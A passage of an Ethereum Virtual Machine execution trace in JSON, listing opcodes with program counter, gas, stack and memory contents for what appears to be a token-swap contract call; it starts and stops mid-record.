00000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2922,"op":"NOT","gas":100368,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x200","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2923,"op":"PUSH1","gas":100365,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x200","0xffffffff00000000000000000000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2925,"op":"DUP6","gas":100362,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x200","0xffffffff00000000000000000000000000000000000000000000000000000000","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2926,"op":"SWAP1","gas":100359,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x200","0xffffffff00000000000000000000000000000000000000000000000000000000","0xe0","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2927,"op":"SHL","gas":100356,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x200","0xffffffff00000000000000000000000000000000000000000000000000000000","0xe6a43905","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2928,"op":"AND","gas":100353,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x200","0xffffffff00000000000000000000000000000000000000000000000000000000","0xe6a4390500000000000000000000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2929,"op":"DUP2","gas":100350,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x200","0xe6a4390500000000000000000000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2930,"op":"MSTORE","gas":100347,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x200","0xe6a4390500000000000000000000000000000000000000000000000000000000","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2931,"op":"PUSH1","gas":100344,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":2933,"op":"PUSH1","gas":100341,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x200","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":2935,"op":"PUSH1","gas":100338,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x200","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":2937,"op":"SHL","gas":100335,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x200","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":2938,"op":"SUB","gas":100332,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x200","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":2939,"op":"SWAP3","gas":100329,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x200","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":2940,"op":"DUP4","gas":100326,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x200","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":2941,"op":"AND","gas":100323,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x200","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":2942,"op":"PUSH1","gas":100320,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x200","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":2944,"op":"DUP3","gas":100317,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x200","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":2945,"op":"ADD","gas":100314,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a